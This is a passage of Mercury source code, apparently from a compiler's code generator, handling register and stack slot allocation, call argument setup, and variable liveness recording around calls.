ModuleInfo),\n    var_locn_place_var(ModuleInfo, Var, Lval, Code,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\n:- pred pick_and_place_vars(assoc_list(prog_var, set(lval))::in,\n    set(lval)::out, llds_code::out, code_info::in, code_info::out) is det.\n\npick_and_place_vars(VarLocSets, LiveLocs, Code, !CI) :-\n    pick_var_places(VarLocSets, VarLocs),\n    assoc_list.values(VarLocs, Locs),\n    set.list_to_set(Locs, LiveLocs),\n    place_vars(VarLocs, Code, !CI).\n\n:- pred pick_var_places(assoc_list(prog_var, set(lval))::in,\n    assoc_list(prog_var, lval)::out) is det.\n\npick_var_places([], []).\npick_var_places([Var - LvalSet | VarLvalSets], VarLvals) :-\n    pick_var_places(VarLvalSets, VarLvals0),\n    (\n        set.to_sorted_list(LvalSet, LvalList),\n        LvalList = [Lval | _]\n    ->\n        VarLvals = [Var - Lval | VarLvals0]\n    ;\n        VarLvals = VarLvals0\n    ).\n\n:- pred place_vars(assoc_list(prog_var, lval)::in,\n    llds_code::out, code_info::in, code_info::out) is det.\n\nplace_vars(VarLocs, Code, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_module_info(!.CI, ModuleInfo),\n    var_locn_place_vars(ModuleInfo, VarLocs, Code, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nproduce_variable(Var, Code, Rval, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_module_info(!.CI, ModuleInfo),\n    var_locn_produce_var(ModuleInfo, Var, Rval, Code,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nproduce_variable_in_reg(Var, Code, Lval, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_module_info(!.CI, ModuleInfo),\n    var_locn_produce_var_in_reg(ModuleInfo, Var, Lval, Code,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nproduce_variable_in_reg_or_stack(Var, Code, Lval, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_module_info(!.CI, ModuleInfo),\n    var_locn_produce_var_in_reg_or_stack(ModuleInfo, Var, Lval, Code,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nmaterialize_vars_in_lval(Lval0, Lval, Code, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_module_info(!.CI, ModuleInfo),\n    var_locn_materialize_vars_in_lval(ModuleInfo, Lval0, Lval, Code,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nacquire_reg_for_var(Var, RegType, Lval, !CI) :-\n    get_follow_var_map(!.CI, FollowVarsMap),\n    get_next_non_reserved(!.CI, RegType, NextNonReserved),\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    (\n        map.search(FollowVarsMap, Var, PrefLocn),\n        PrefLocn = abs_reg(RegType, PrefRegNum),\n        PrefRegNum >= 1\n    ->\n        var_locn_acquire_reg_prefer_given(RegType, PrefRegNum, Lval,\n            VarLocnInfo0, VarLocnInfo)\n    ;\n        % XXX We should only get a register if the map.search succeeded;\n        % otherwise we should put the var in its stack slot.\n        var_locn_acquire_reg_start_at_given(RegType, NextNonReserved, Lval,\n            VarLocnInfo0, VarLocnInfo)\n    ),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nacquire_reg_not_in_storemap(StoreMap, RegType, Lval, !CI) :-\n    map.foldl2(record_highest_used_reg, StoreMap, 0, HighestUsedRegR,\n        0, HighestUsedRegF),\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    (\n        RegType = reg_r,\n        NextRegNum = HighestUsedRegR + 1\n    ;\n        RegType = reg_f,\n        NextRegNum = HighestUsedRegF + 1\n    ),\n    var_locn_acquire_reg_start_at_given(RegType, NextRegNum, Lval,\n        VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\n:- pred record_highest_used_reg(prog_var::in, abs_locn::in, int::in, int::out,\n    int::in, int::out) is det.\n\nrecord_highest_used_reg(_, AbsLocn, !HighestUsedRegR, !HighestUsedRegF) :-\n    (\n        AbsLocn = any_reg\n    ;\n        AbsLocn = abs_reg(reg_r, N),\n        int.max(N, !HighestUsedRegR)\n    ;\n        AbsLocn = abs_reg(reg_f, N),\n        int.max(N, !HighestUsedRegF)\n    ;\n        AbsLocn = abs_stackvar(_, _)\n    ;\n        AbsLocn = abs_parent_stackvar(_, _)\n    ;\n        AbsLocn = abs_framevar(_, _)\n    ).\n\nacquire_reg(Type, Lval, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_acquire_reg(Type, Lval, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nrelease_reg(Lval, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_release_reg(Lval, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nreserve_r1(Code, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    get_module_info(!.CI, ModuleInfo),\n    var_locn_clear_r1(ModuleInfo, Code, VarLocnInfo0, VarLocnInfo1),\n    var_locn_acquire_reg_require_given(reg(reg_r, 1),\n        VarLocnInfo1, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nclear_r1(empty, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_release_reg(reg(reg_r, 1), VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\n%---------------------------------------------------------------------------%\n\nsetup_return(VarArgInfos, OutLocs, Code, !CI) :-\n    setup_call_args(VarArgInfos, callee, OutLocs, Code, !CI).\n\nsetup_call(GoalInfo, ArgInfos, LiveLocs, Code, !CI) :-\n    partition_args(ArgInfos, InArgInfos, OutArgInfos, _UnusedArgInfos),\n    assoc_list.keys(OutArgInfos, OutVars),\n    set.list_to_set(OutVars, OutVarSet),\n    Detism = goal_info_get_determinism(GoalInfo),\n    get_opt_no_return_calls(!.CI, OptNoReturnCalls),\n    get_module_info(!.CI, ModuleInfo),\n    VarTypes = get_var_types(!.CI),\n    (\n        Detism = detism_erroneous,\n        OptNoReturnCalls = yes\n    ->\n        RealStackVarLocs = [],\n        DummyStackVarLocs = []\n    ;\n        compute_forward_live_var_saves(!.CI, set_to_bitset(OutVarSet),\n            ForwardVarLocs),\n        CodeModel = goal_info_get_code_model(GoalInfo),\n        (\n            CodeModel = model_non,\n            % Save variables protected by the nearest resumption point on the\n            % stack.\n            % XXX This should be unnecessary; with the current setup, the code\n            % that established the resume point should have saved those\n            % variables on the stack already. However, later we should arrange\n            % things so that this saving of the resume vars on the stack\n            % is delayed until the first call after the setup of the\n            % resume point.\n            compute_resume_var_stack_locs(!.CI, ResumeVarLocs),\n            list.append(ResumeVarLocs, ForwardVarLocs, StackVarLocs)\n        ;\n            ( CodeModel = model_det\n            ; CodeModel = model_semi\n            ),\n            StackVarLocs = ForwardVarLocs\n        ),\n        list.filter(valid_stack_slot(ModuleInfo, VarTypes), StackVarLocs,\n            RealStackVarLocs, DummyStackVarLocs)\n    ),\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    list.filter(key_var_is_of_non_dummy_type(ModuleInfo, VarTypes),\n        InArgInfos, RealInArgInfos),\n    var_arg_info_to_lval(RealInArgInfos, RealInArgLocs),\n    AllRealLocs = RealStackVarLocs ++ RealInArgLocs,\n    AllLocs = DummyStackVarLocs ++ AllRealLocs,\n    var_locn_place_vars(ModuleInfo, AllLocs, Code, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI),\n    assoc_list.values(AllRealLocs, LiveLocList),\n    set.list_to_set(LiveLocList, LiveLocs).\n\n:- pred key_var_is_of_non_dummy_type(module_info::in, vartypes::in,\n    pair(prog_var, arg_info)::in) is semidet.\n\nkey_var_is_of_non_dummy_type(ModuleInfo, VarTypes, Var - _ArgInfo) :-\n    var_is_of_non_dummy_type(ModuleInfo, VarTypes, Var).\n\n:- pred valid_stack_slot(module_info::in, vartypes::in,\n    pair(prog_var, lval)::in) is semidet.\n\nvalid_stack_slot(ModuleInfo, VarTypes, Var - Lval) :-\n    lookup_var_type(VarTypes, Var, Type),\n    check_dummy_type(ModuleInfo, Type) = is_not_dummy_type,\n    (\n        ( Lval = stackvar(N)\n        ; Lval = parent_stackvar(N)\n        ; Lval = framevar(N)\n        ),\n        N < 0\n    ->\n        unexpected($module, $pred, \"nondummy var in dummy stack slot\")\n    ;\n        true\n    ).\n\n:- pred setup_call_args(assoc_list(prog_var, arg_info)::in,\n    call_direction::in, set(lval)::out, llds_code::out,\n    code_info::in, code_info::out) is det.\n\nsetup_call_args(AllArgsInfos, Direction, LiveLocs, Code, !CI) :-\n    list.filter(call_arg_in_selected_dir(Direction), AllArgsInfos, ArgsInfos),\n    var_arg_info_to_lval(ArgsInfos, ArgsLocns),\n    get_module_info(!.CI, ModuleInfo),\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_place_vars(ModuleInfo, ArgsLocns, Code,\n        VarLocnInfo0, VarLocnInfo1),\n    set_var_locn_info(VarLocnInfo1, !CI),\n    assoc_list.values(ArgsLocns, LiveLocList),\n    set.list_to_set(LiveLocList, LiveLocs),\n    assoc_list.keys(ArgsLocns, ArgVars),\n    which_variables_are_forward_live(!.CI, ArgVars, set_of_var.init, DeadVars),\n    make_vars_forward_dead(DeadVars, !CI).\n\n:- pred var_arg_info_to_lval(assoc_list(prog_var, arg_info)::in,\n    assoc_list(prog_var, lval)::out) is det.\n\nvar_arg_info_to_lval([], []).\nvar_arg_info_to_lval([Var - ArgInfo | RestInfos], [Var - Lval | RestLvals]) :-\n    ArgInfo = arg_info(Loc, _Mode),\n    code_util.arg_loc_to_register(Loc, Lval),\n    var_arg_info_to_lval(RestInfos, RestLvals).\n\n:- pred which_variables_are_forward_live(code_info::in,\n    list(prog_var)::in, set_of_progvar::in, set_of_progvar::out) is det.\n\nwhich_variables_are_forward_live(_, [], !DeadVars).\nwhich_variables_are_forward_live(CI, [Var | Vars], !DeadVars) :-\n    ( variable_is_forward_live(CI, Var) ->\n        true\n    ;\n        set_of_var.insert(Var, !DeadVars)\n    ),\n    which_variables_are_forward_live(CI, Vars, !DeadVars).\n\n:- pred call_arg_in_selected_dir(call_direction::in,\n    pair(prog_var, arg_info)::in) is semidet.\n\ncall_arg_in_selected_dir(Direction, _ - arg_info(_, Mode)) :-\n    (\n        Mode = top_in,\n        Direction = caller\n    ;\n        Mode = top_out,\n        Direction = callee\n    ).\n\nlock_regs(R, F, Exceptions, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_lock_regs(R, F, Exceptions, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nunlock_regs(!CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_unlock_regs(VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nclear_all_registers(OkToDeleteAny, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_clobber_all_regs(OkToDeleteAny, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nclobber_regs(Regs, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    var_locn_clobber_regs(Regs, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\nsave_variables(OutArgs, SavedLocs, Code, !CI) :-\n    compute_forward_live_var_saves(!.CI, OutArgs, VarLocs),\n    assoc_list.values(VarLocs, SavedLocList),\n    set.list_to_set(SavedLocList, SavedLocs),\n    place_vars(VarLocs, Code, !CI).\n\nsave_variables_on_stack(Vars, Code, !CI) :-\n    list.map(associate_stack_slot(!.CI), Vars, VarLocs),\n    place_vars(VarLocs, Code, !CI).\n\n:- pred compute_forward_live_var_saves(code_info::in,\n    set_of_progvar::in, assoc_list(prog_var, lval)::out) is det.\n\ncompute_forward_live_var_saves(CI, OutArgs, VarLocs) :-\n    get_known_variables(CI, Variables0),\n    Vars0 = set_of_var.list_to_set(Variables0),\n    TypeInfoLiveness = body_typeinfo_liveness(CI),\n    get_proc_info(CI, ProcInfo),\n    proc_info_get_vartypes(ProcInfo, VarTypes),\n    proc_info_get_rtti_varmaps(ProcInfo, RttiVarMaps),\n    maybe_complete_with_typeinfo_vars(Vars0, TypeInfoLiveness, VarTypes,\n        RttiVarMaps, Vars1),\n    set_of_var.difference(Vars1, OutArgs, Vars),\n    Variables = set_of_var.to_sorted_list(Vars),\n    list.map(associate_stack_slot(CI), Variables, VarLocs).\n\n:- pred associate_stack_slot(code_info::in, prog_var::in,\n    pair(prog_var, lval)::out) is det.\n\nassociate_stack_slot(CI, Var, Var - Slot) :-\n    get_variable_slot(CI, Var, Slot).\n\nmax_reg_in_use(CI, MaxR, MaxF) :-\n    get_var_locn_info(CI, VarLocnInfo),\n    var_locn_max_reg_in_use(VarLocnInfo, MaxR, MaxF).\n\nmagically_put_var_in_unused_reg(Var, !CI) :-\n    get_var_locn_info(!.CI, VarLocnInfo0),\n    make_vars_forward_live_2([Var], map.init, 1, VarLocnInfo0, VarLocnInfo),\n    set_var_locn_info(VarLocnInfo, !CI).\n\n%---------------------------------------------------------------------------%\n%---------------------------------------------------------------------------%\n\n    % Submodule for dealing with the recording of variable liveness\n    % information around calls.\n    %\n    % Value numbering needs to know what locations are live before calls;\n    % the garbage collector and the debugger need to know what locations\n    % are live containing what types of values after calls.\n\n:- interface.\n\n:- pred generate_call_vn_livevals(code_info::in, list(arg_loc)::in,\n    set_of_progvar::in, set(lval)::out) is det.\n\n:- pred generate_return_live_lvalues(code_info::in,\n    assoc_list(prog_var, arg_loc)::in, instmap::in, bool::in,\n    list(liveinfo)::out) is det.\n\n%---------------------------------------------------------------------------%\n\n:- implementation.\n\ngenerate_call_vn_livevals(CI, InputArgLocs, OutputArgs, LiveVals) :-\n    generate_call_stack_vn_livevals(CI, OutputArgs, StackLiveVals),\n    generate_input_var_vn(InputArgLocs, StackLiveVals, LiveVals).\n\n:- pred generate_call_stack_vn_livevals(code_info::in,\n    set_of_progvar::in, set(lval)::out) is det.\n\ngenerate_call_stack_vn_livevals(CI, OutputArgs, LiveVals) :-\n    get_known_variables(CI, KnownVarList0),\n    get_module_info(CI, ModuleInfo),\n    VarTypes = get_var_types(CI),\n    list.filter(var_is_of_non_dummy_type(ModuleInfo, VarTypes),\n        KnownVarList0, KnownVarList),\n    set_of_var.list_to_set(KnownVarList, KnownVars),\n    set_of_var.difference(KnownVars, OutputArgs, LiveVars),\n    set_of_var.to_sorted_list(LiveVars, LiveVarList),\n    generate_stack_var_vn(CI, LiveVarList, set.init, LiveVals1),\n    get_active_temps_data(CI, Temps),\n    generate_call_temp_vn(Temps, LiveVals1, LiveVals).\n\n:- pred generate_stack_var_vn(code_info::in, list(prog_var)::in,\n    set(lval)::in, set(lval)::out) is det.\n\ngenerate_stack_var_vn(_, [], !Vals).\ngenerate_stack_var_vn(CI, [V | Vs], !Vals) :-\n    get_variable_slot(CI, V, Lval),\n    set.insert(Lval, !Vals),\n    generate_stack_var_vn(CI, Vs, !Vals).\n\n:- pred generate_call_temp_vn(assoc_list(lval, slot_contents)::in,\n    set(lval)::in, set(lval)::out) is det.\n\ngenerate_call_temp_vn([], !Vals).\ngenerate_call_temp_vn([Lval - _ | Temps], !Vals) :-\n    set.insert(Lval, !Vals),\n    generate_call_temp_vn(Temps, !Vals).\n\n:- pred generate_input_var_vn(list(arg_loc)::in,\n    set(lval)::in, set(lval)::out) is det.\n\ngenerate_input_var_vn([], !Vals).\ngenerate_input_var_vn([InputArgLoc | InputArgLocs], !Vals) :-\n    code_util.arg_loc_to_register(InputArgLoc, Lval),\n    set.insert(Lval, !Vals),\n    generate_input_var_vn(InputArgLocs, !Vals).\n\n%---------------------------------------------------------------------------%\n\ngenerate_return_live_lvalues(CI, OutputArgLocs, ReturnInstMap,\n        OkToDeleteAny, LiveLvalues) :-\n    variable_locations(CI, VarLocs),\n    get_known_variables(CI, Vars0),\n    get_module_info(CI, ModuleInfo),\n    VarTypes = get_var_types(CI),\n    list.filter(var_is_of_non_dummy_type(ModuleInfo, VarTypes), Vars0, Vars),\n    get_active_temps_data(CI, Temps),\n    get_proc_info(CI, ProcInfo),\n    get_globals(CI, Globals),\n    continuation_info.generate_return_live_lvalues(OutputArgLocs,\n        ReturnInstMap, Vars, VarLocs, Temps, ProcInfo, ModuleInfo,\n        Globals, OkToDeleteAny, LiveLvalues).\n\n:- pred generate_resume_layout(label::in, resume_map::in,\n    code_info::in, code_info::out) is det.\n\ngenerate_resume_layout(Label, ResumeMap, !CI) :-\n    get_globals(!.CI, Globals),\n    globals.lookup_bool_option(Globals, agc_stack_layout, AgcStackLayout),\n    (\n        AgcStackLayout = yes,\n        get_active_temps_data(!.CI, Temps),\n        get_instmap(!.CI, InstMap),\n        get_proc_info(!.CI, ProcInfo),\n        get_module_info(!.CI, ModuleInfo),\n        continuation_info.generate_resume_layout(ResumeMap, Temps, InstMap,\n            ProcInfo, ModuleInfo, Layout),\n        add_resume_layout_for_label(Label, Layout, !CI)\n    ;\n        AgcStackLayout = no\n    ).\n\n%---------------------------------------------------------------------------%\n%---------------------------------------------------------------------------%\n\n    % Submodule for managing stack slots.\n\n    % Det stack frames are organized as follows.\n    %\n    %       ... unused ...\n    %   sp ---> <first unused slot>\n    %       <space for local var 1>\n    %       ... local vars ...\n    %       <space for local var n>\n    %       <space for temporary 1>\n    %       ... temporaries ...\n    %       <space for temporary n>\n    %       <space for saved succip, if needed>\n    %\n    % The stack pointer points to the first free location at the\n    % top of the stack.\n    %\n    % `succip_is_used' determines whether we need a slot to\n    % hold the succip.\n    %\n    % Nondet stack frames also have the local variables above the\n    % temporaries, but contain several fixed slots on top, and the\n    % saved succip is stored in one of these.\n    %\n    % For both kinds of stack frames, the slots holding variables\n    % are allocated during the live_vars pass, while the slots holding\n    % temporaries are acquired (and if possible, released) on demand\n    % during code generation.\n\n:- interface.\n\n    % Returns the total stackslot count, but not including space for\n    % succip. This total can change in the future if this call is\n    % followed by further allocations of temp slots.\n    %\n:- pred get_total_stackslot_count(code_info::in, int::out) is det.\n\n    % If a stack slot is persistent, then the stack slot is not implicitly\n    % released when the code generator resets its location-dependent state,\n    % usually when entering the next arm of a disjunction, switch, etc.\n\n:- type temp_slot_persistence\n    --->    persistent_temp_slot\n    ;       non_persistent_temp_slot.\n\n    % Acquire a stack slot for storing a temporary. The slot_contents\n    % description is for accurate gc.\n    %\n:- pred acquire_temp_slot(slot_contents::in, temp_slot_persistence::in,\n    lval::out, code_info::in, code_info::out) is det.\n\n    % Release a stack slot acquired earlier for a temporary value.\n    % The persistence argument should match the acquire operation.\n    %\n:- pred release_temp_slot(lval::in, temp_slot_persistence::in,\n    code_info::in, code_info::out) is det.\n\n    % acquire_several_temp_slots(Items, Persistence, StackVars,\n    %   StackId, N, M, !Info):\n    %\n    % Perform an acquire_temp_slot operation for each element of the\n    % input list, all with the same persistence.\n    %\n    % The slots will be the ones from stack_slot_num_to_lval(StackId, N)\n    % consecutively to stack_slot_num_to_lval(StackId, M), with N < M.\n    % These will also be returned as StackVars.\n    %\n:- pred acquire_several_temp_slots(list(slot_contents)::in,\n    temp_slot_persistence::in, list(lval)::out,\n    main_stack::out, int::out, int::out, code_info::in, code_info::out) is det.\n\n    % Release the stack slots acquired by an earlier acquire_several_temp_slots\n    % operation. The persistence argument should match the acquire operation.\n    %\n:- pred release_several_temp_slots(list(lval)::in, temp_slot_persistence::in,\n    code_info::in, code_info::out) is det.\n\n    % Return the lval of the stack slot in which the given variable is stored.\n    % Aborts if the variable does not have a stack slot an assigned to it.\n    %\n:- pred get_variable_slot(code_info::in, prog_var::in, lval::out) is det.\n\n%---------------------------------------------------------------------------%\n%---------------------------------------------------------------------------%\n\n:- implementation.\n\nacquire_temp_slot(Item, Persistence, StackVar, !CI) :-\n    get_temp_content_map(!.CI, TempContentMap0),\n    map.to_assoc_list(TempContentMap0, TempContentList),\n    get_temps_in_use(!.CI, TempsInUse0),\n    (\n        find_unused_slot_for_item(TempContentList, Item, TempsInUse0,\n            ChosenStackVar, _)\n    ->\n        StackVar = ChosenStackVar\n    ;\n        new_temp_slot(Item, StackVar, !CI)\n    ),\n    set.insert(StackVar, TempsInUse0, TempsInUse),\n    set_temps_in_use(TempsInUse, !CI),\n    (\n        Persistence = persistent_temp_slot,\n        get_persistent_temps(!.CI, PersistentTemps0),\n        set.insert(StackVar, PersistentTemps0, PersistentTemps),\n        set_persistent_temps(PersistentTemps, !CI)\n    ;\n        Persistence = non_persistent_temp_slot\n    ).\n\nacquire_several_temp_slots([], _, _, _, _, _, !CI) :-\n    % We could return an empty list of stack vars for StackVars, but there is\n    % nothing meaningful we can return for the other outputs.\n    unexpected($module, $pred, \"[]\").\nacquire_several_temp_slots([HeadItem | TailItems], Persistence, StackVars,\n        StackId, FirstSlotNum, LastSlotNum, !CI) :-\n    get_temp_content_map(!.CI, TempContentMap0),\n    map.to_assoc_list(TempContentMap0, TempContentList),\n    get_temps_in_use(!.CI, TempsInUse0),\n    (\n        find_unused_slots_for_items(TempContentList, HeadItem, TailItems,\n            TempsInUse0, StackVarsPrime,\n            StackIdPrime, FirstSlotNumPrime, LastSlotNumPrime)\n    ->\n        StackVars = StackVarsPrime,\n        StackId = StackIdPrime,\n        FirstSlotNum = FirstSlotNumPrime,\n        LastSlotNum = LastSlotNumPrime\n    ;\n        new_temp_slots([HeadItem | TailItems], StackVars,\n            StackId, FirstSlotNum, LastSlotNum, !CI)\n    ),\n    set.insert_list(StackVars, TempsInUse0, TempsInUse),\n    set_temps_in_use(TempsInUse, !CI),\n    (\n        Persistence = persistent_temp_slot,\n        get_persistent_temps(!.CI, PersistentTemps0),\n        set.insert_list(StackVars, PersistentTemps0, PersistentTemps),\n        set_persistent_temps(PersistentTemps, !CI)\n    ;\n        Persistence = non_persistent_temp_slot\n    ).\n\n:- pred new_temp_slot(slot_contents::in, lval::out,\n    code_info::in, code_info::out) is det.\n\nnew_temp_slot(Item, StackVar, !CI) :-\n    get_var_slot_count(!.CI, VarSlotCount),\n    get_max_temp_slot_count(!.CI, TempSlotCount0),\n    TempSlotCount = TempSlotCount0 + 1,\n    SlotNum = VarSlotCount + TempSlotCount,\n    CodeModel = get_proc_model(!.CI),\n    StackId = code_model_to_main_stack(CodeModel),\n    StackVar = stack_slot_num_to_lval(StackId, SlotNum),\n    set_max_temp_slot_count(TempSlotCount, !CI),\n\n    get_temp_content_map(!.CI, TempContentMap0),\n    map.det_insert(StackVar, Item, TempContentMap0, TempContentMap),\n    set_temp_content_map(TempContentMap, !CI).\n\n:- pred new_temp_slots(list(slot_contents)::in, list(lval)::out,\n    main_stack::out, int::out, int::out, code_info::in, code_info::out) is det.\n\nnew_temp_slots(Items, StackVars, StackId, FirstSlotNum, LastSlotNum, !CI) :-\n    get_var_slot_count(!.CI, VarSlotCount),\n    get_max_temp_slot_count(!.CI, TempSlotCount0),\n    FirstSlotNum = VarSlotCount + TempSlotCount0 + 1,\n    CodeModel = get_proc_model(!.CI),\n    StackId = code_model_to_main_stack(CodeModel),\n    get_temp_content_map(!.CI, TempContentMap0),\n    record_new_temp_slots(Items, StackId, FirstSlotNum, FirstUnusedSlotNum,\n        TempSlotCount0, TempSlotCount, TempContentMap0, TempContentMap,\n        StackVars),\n    LastSlotNum = FirstUnusedSlotNum - 1,\n    set_max_temp_slot_count(TempSlotCount, !CI),\n    set_temp_content_map(TempContentMap, !CI).\n\n:- pred record_new_temp_slots(list(slot_contents)::in,\n    main_stack::in, int::in, int::out, int::in, int::out,\n    map(lval, slot_contents)::in, map(lval, slot_contents)::out,\n    list(lval)::out) is det.\n\nrecord_new_temp_slots([], _, !CurSlotNum, !TempSlotCount, !TempContentMap, []).\nrecord_new_temp_slots([Item | Items], StackId, !CurSlotNum,\n        !TempSlotCount, !TempContentMap, [StackVar | StackVars]) :-\n    StackVar = stack_slot_num_to_lval(StackId, !.CurSlotNum),\n    map.det_insert(StackVar, Item, !TempContentMap),\n    !:CurSlotNum = !.CurSlotNum + 1,\n    !:TempSlotCount = !.TempSlotCount + 1,\n    record_new_temp_slots(Items, StackId, !CurSlotNum,\n        !TempSlotCount, !TempContentMap, StackVars).\n\n:- pred find_unused_slot_for_item(assoc_list(lval, slot_contents)::in,\n    slot_contents::in, set(lval)::in, lval::out,\n    assoc_list(lval, slot_contents)::out) is semidet.\n\nfind_unused_slot_for_item([Head | Tail], Item, TempsInUse,\n        ChosenStackVar, Remainder) :-\n    Head = HeadStackVar - HeadSlotType,\n    (\n        HeadSlotType = Item,\n        \\+ set.member(HeadStackVar, TempsInUse)\n    ->\n        ChosenStackVar = HeadStackVar,\n        Remainder = Tail\n    ;\n        find_unused_slot_for_item(Tail, Item, TempsInUse,\n            ChosenStackVar, Remainder)\n    ).\n\n:- pred find_unused_slots_for_items(assoc_list(lval, slot_contents)::in,\n    slot_contents::in, list(slot_contents)::in, set(lval)::in, list(lval)::out,\n    main_stack::out, int::out, int::out) is semidet.\n\nfind_unused_slots_for_items([Head | Tail], HeadItem, TailItems, TempsInUse,\n        ChosenStackVars, StackId, FirstSlotNum, LastSlotNum) :-\n    (\n        find_unused_slot_for_item([Head | Tail], HeadItem, TempsInUse,\n            ChosenHeadStackVar, Remainder),\n        ( ChosenHeadStackVar = stackvar(N) ->\n            StackId0 = det_stack,\n            FirstSlotNum0 = N\n        ; ChosenHeadStackVar = framevar(N) ->\n            StackId0 = nondet_stack,\n            FirstSlotNum0 = N\n        ;\n            unexpected($module, $pred, \"not stackvar or framevar\")\n        ),\n        StackId1 = StackId0,\n        FirstSlotNum1 = FirstSlotNum0,\n        find_next_slots_for_items(Remainder, TailItems, TempsInUse,\n            ChosenTailStackVars, StackId1, FirstSlotNum1, LastSlotNum1)\n    ->\n        ChosenStackVars = [ChosenHeadStackVar | ChosenTailStackVars],\n        StackId = StackId1,\n        FirstSlotNum = FirstSlotNum1,\n        LastSlotNum = LastSlotNum1\n    ;\n        find_unused_slots_for_items(Tail, HeadItem, TailItems, TempsInUse,\n            ChosenStackVars, StackId, FirstSlotNum, LastSlotNum)\n    ).\n\n:- pred find_next_slots_for_items(assoc_list(lval, slot_contents)::in,\n    list(slot_contents)::in, set(lval)::in, list(lval)::out,\n    main_stack::in, int::in, int::out) is semidet.\n\nfind_next_slots_for_items([], [], _, [], _, !SlotNum).\nfind_next_slots_for_items([Head | Tail], [HeadItem | TailItems], TempsInUse,\n        [HeadStackVar | TailStackVars], StackId, !SlotNum) :-\n    Head = HeadStackVar - HeadSlotType,\n    !:SlotNum = !.SlotNum + 1,\n    HeadStackVar = stack_slot_num_to_lval(StackId, !.SlotNum),\n    HeadSlotType = HeadItem,\n    \\+ set.member(HeadStackVar, TempsInUse),\n    find_next_slots_for_items(Tail, TailItems, TempsInUse,\n        TailStackVars, StackId, !SlotNum).\n\nrelease_temp_slot(StackVar, Persistence, !CI) :-\n    get_temps_in_use(!.CI, TempsInUse0),\n    set.delete(StackVar, TempsInUse0, TempsInUse),\n    set_temps_in_use(TempsInUse, !CI),\n\n    get_persistent_temps(!.CI, PersistentTemps0),\n    set.is_member(StackVar, PersistentTemps0, IsInPersistentTemps0),\n    (\n        Persistence = persistent_temp_slot,\n        expect(unify(IsInPersistentTemps0, yes),\n            $module, $pred, \"released stack slot should be persistent\"),\n        set.delete(StackVar, PersistentTemps0, PersistentTemps),\n        set_persistent_temps(PersistentTemps, !CI)\n    ;\n        Persistence = non_persistent_temp_slot,\n        expect(unify(IsInPersistentTemps0, no),\n            $module, $pred, \"released stack slot should not be persistent\")\n    ).\n\nrelease_several_temp_slots([], _Persistence, !CI).\nrelease_several_temp_slots([StackVar | StackVars], Persistence, !CI) :-\n    release_temp_slot(StackVar, Persistence, !CI),\n    release_several_temp_slots(StackVars, Persistence, !CI).\n\n%---------------------------------------------------------------------------%\n\nget_variable_slot(CI, Var, Slot) :-\n    get_stack_slots(CI, StackSlots),\n    ( map.search(StackSlots, Var, SlotLocn) ->\n        Slot = stack_slot_to_lval(SlotLocn)\n    ;\n        Name = variable_name(CI, Var),\n        term.var_to_int(Var, Num),\n        string.int_to_string(Num, NumStr),\n        Str = \"variable `\" ++ Name ++ \"' \" ++ \"(\" ++ NumStr ++ \") not found\",\n        unexpected($module, $pred, Str)\n    ).\n\nget_total_stackslot_count(CI, NumSlots) :-\n    get_var_slot_count(CI, SlotsForVars),\n    get_max_temp_slot_count(CI, SlotsForTemps),\n    NumSlots = SlotsForVars + SlotsForTemps.\n\n:- pred max_var_slot(stack_slots::in, int::out) is det.\n\nmax_var_slot(StackSlots, SlotCount) :-\n    map.values(StackSlots, StackSlotList),\n    max_var_slot_2(StackSlotList, 0, SlotCount).\n\n:- pred max_var_slot_2(list(stack_slot)::in, int::in, int::out) is det.\n\nmax_var_slot_2([], !Max).\nmax_var_slot_2([L | Ls], !Max) :-\n    (\n        L = det_slot(N, Width)\n    ;\n        L = parent_det_slot(N, Width)\n    ;\n        L = nondet_slot(N, Width)\n    ),\n    (\n        Width = single_width,\n        int.max(N, !Max)\n    ;\n        Width = double_width,\n        int.max(N + 1, !Max)\n    ),\n    max_var_slot_2(Ls, !Max).\n\n%---------------------------------------------------------------------------%\n\n    % Submodule for debugging the code generator itself.\n\n:- interface.\n\n    % Should we trace the operation of the code generator.\n    %\n:- pred 